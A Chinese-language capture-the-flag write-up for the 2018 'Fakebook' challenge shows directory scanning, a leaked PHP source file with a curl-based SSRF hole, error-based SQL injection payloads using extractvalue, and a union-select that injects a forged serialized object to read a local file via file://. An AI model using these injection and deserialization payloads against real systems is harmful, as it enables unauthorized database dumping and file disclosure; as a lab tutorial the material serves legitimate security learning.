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          【网鼎杯 2018】Fakebook
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<pre><code>看起来像是文件包含的题。</code></pre><a id="more"></a>
<h1 id="源码泄露"><a href="#源码泄露" class="headerlink" title="源码泄露"></a>源码泄露</h1><p>通过dirsearch扫描一下发现</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">[11:40:14] 200 -    1KB - &#x2F;login.php</span><br><span class="line">[11:42:35] 200 -   37B  - &#x2F;robots.txt</span><br><span class="line">[11:44:23] 200 -    0B  - &#x2F;user.php</span><br><span class="line">[11:44:34] 200 - 1019B  - &#x2F;view.php</span><br></pre></td></tr></table></figure>
<p>通过robots.txt发现有一个user.php.bak文件下载下来看一眼。</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">UserInfo</span></span></span><br><span class="line"><span class="class"></span>&#123;</span><br><span class="line">    <span class="keyword">public</span> $name = <span class="string">""</span>;</span><br><span class="line">    <span class="keyword">public</span> $age = <span class="number">0</span>;</span><br><span class="line">    <span class="keyword">public</span> $blog = <span class="string">""</span>;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__construct</span><span class="params">($name, $age, $blog)</span></span></span><br><span class="line"><span class="function">    </span>&#123;</span><br><span class="line">        <span class="keyword">$this</span>-&gt;name = $name;</span><br><span class="line">        <span class="keyword">$this</span>-&gt;age = (int)$age;</span><br><span class="line">        <span class="keyword">$this</span>-&gt;blog = $blog;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="function"><span class="keyword">function</span> <span class="title">get</span><span class="params">($url)</span></span></span><br><span class="line"><span class="function">    </span>&#123;</span><br><span class="line">        $ch = curl_init();</span><br><span class="line"></span><br><span class="line">        curl_setopt($ch, CURLOPT_URL, $url);</span><br><span class="line">        curl_setopt($ch, CURLOPT_RETURNTRANSFER, <span class="number">1</span>);</span><br><span class="line">        $output = curl_exec($ch);</span><br><span class="line">        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);</span><br><span class="line">        <span class="keyword">if</span>($httpCode == <span class="number">404</span>) &#123;</span><br><span class="line">            <span class="keyword">return</span> <span class="number">404</span>;</span><br><span class="line">        &#125;</span><br><span class="line">        curl_close($ch);</span><br><span class="line"></span><br><span class="line">        <span class="keyword">return</span> $output;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">getBlogContents</span> <span class="params">()</span></span></span><br><span class="line"><span class="function">    </span>&#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="keyword">$this</span>-&gt;get(<span class="keyword">$this</span>-&gt;blog);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">isValidBlog</span> <span class="params">()</span></span></span><br><span class="line"><span class="function">    </span>&#123;</span><br><span class="line">        $blog = <span class="keyword">$this</span>-&gt;blog;</span><br><span class="line">        <span class="keyword">return</span> preg_match(<span class="string">"/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]&#123;2,6&#125;(\:[0-9]+)?(\/\S*)?$/i"</span>, $blog);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>
<p>先放一下，这里应当是反序列化，但是没找到入口，先看看其它的地方。</p>
<h1 id="SQL注入"><a href="#SQL注入" class="headerlink" title="SQL注入"></a>SQL注入</h1><p>经过测试在view.php?no=1发现注入点。<br><img src="1.jpg" alt=""><br>看返回结果<br><img src="2.jpg" alt=""><br>这里应当是报错注入。<br>试了很多方法，最后测试这个可行。</p>
<p>跑个数据库</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">and (extractvalue(&#39;anything&#39;,concat(&#39;1&#39;,(select database()))))#</span><br><span class="line"></span><br><span class="line">%20and%20(extractvalue(&#39;anything&#39;%2cconcat(&#39;1&#39;%2c(select%20database()))))%23</span><br></pre></td></tr></table></figure>
<p>跑个表</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"> and (extractvalue(&#39;anything&#39;,concat(&#39;1&#39;,(select group_concat(table_name) from information_schema.tables where table_schema&#x3D;database()))))#</span><br><span class="line"></span><br><span class="line">%20and%20(extractvalue(&#39;anything&#39;%2cconcat(&#39;1&#39;%2c(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema%3ddatabase()))))%23</span><br></pre></td></tr></table></figure>
<p>再跑个列</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">and (extractvalue(&#39;anything&#39;,concat(&#39;1&#39;,(select group_concat(column_name) from information_schema.columns where table_name&#x3D;&#39;users&#39;))))#</span><br><span class="line">%20and%20(extractvalue(&#39;anything&#39;%2cconcat(&#39;1&#39;%2c(select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_name%3d&#39;users&#39;))))%23</span><br></pre></td></tr></table></figure>
<p>跑个内容</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">and (extractvalue(&#39;anything&#39;,concat(&#39;1&#39;,(select group_concat(username,data) from users))))#</span><br><span class="line">%20and%20(extractvalue(&#39;anything&#39;%2cconcat(&#39;1&#39;%2c(select%20group_concat(username%2cdata)%20from%20users))))%23</span><br></pre></td></tr></table></figure>
<p>卧槽出现了超长截断，我得重新拼出来</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">and (extractvalue(&#39;anything&#39;,concat(&#39;1&#39;,(select group_concat(username,substr(data,62)) from users))))#</span><br></pre></td></tr></table></figure>
<p>总算是拼接完了</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">O:8:&quot;UserInfo&quot;:3:&#123;s:4:&quot;name&quot;;s:3:&quot;111&quot;;s:3:&quot;age&quot;;i:1;s:4:&quot;blog&quot;;s:11:&quot;www.163.com&quot;;&#125;</span><br></pre></td></tr></table></figure>
<p>通过上面的代码生成序列化</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">O:8:&quot;UserInfo&quot;:3:&#123;s:4:&quot;name&quot;;s:1:&quot;1&quot;;s:3:&quot;age&quot;;i:2;s:4:&quot;blog&quot;;s:29:&quot;file:&#x2F;&#x2F;&#x2F;var&#x2F;www&#x2F;html&#x2F;flag.php&quot;;&#125;</span><br></pre></td></tr></table></figure>
<p>重新构造提交的语句。</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">&#x2F;**&#x2F;union&#x2F;**&#x2F;select &#39;1&#39;,&#39;2&#39;,3,&#39;O:8:&quot;UserInfo&quot;:3:&#123;s:4:&quot;name&quot;;s:1:&quot;1&quot;;s:3:&quot;age&quot;;i:2;s:4:&quot;blog&quot;;s:29:&quot;file:&#x2F;&#x2F;&#x2F;var&#x2F;www&#x2F;html&#x2F;flag.php&quot;;&#125;&#39;#</span><br><span class="line"></span><br><span class="line">%2f**%2funion%2f**%2fselect%20&#39;1&#39;%2c&#39;2&#39;%2c3%2c&#39;o%3a8%3a%22userinfo%22%3a3%3a%7bs%3a4%3a%22name%22%3bs%3a1%3a%221%22%3bs%3a3%3a%22age%22%3bi%3a2%3bs%3a4%3a%22blog%22%3bs%3a29%3a%22file%3a%2f%2f%2fvar%2fwww%2fhtml%2fflag.php%22%3b%7d&#39;%23</span><br></pre></td></tr></table></figure>
<p>最终可以拿到flag</p>

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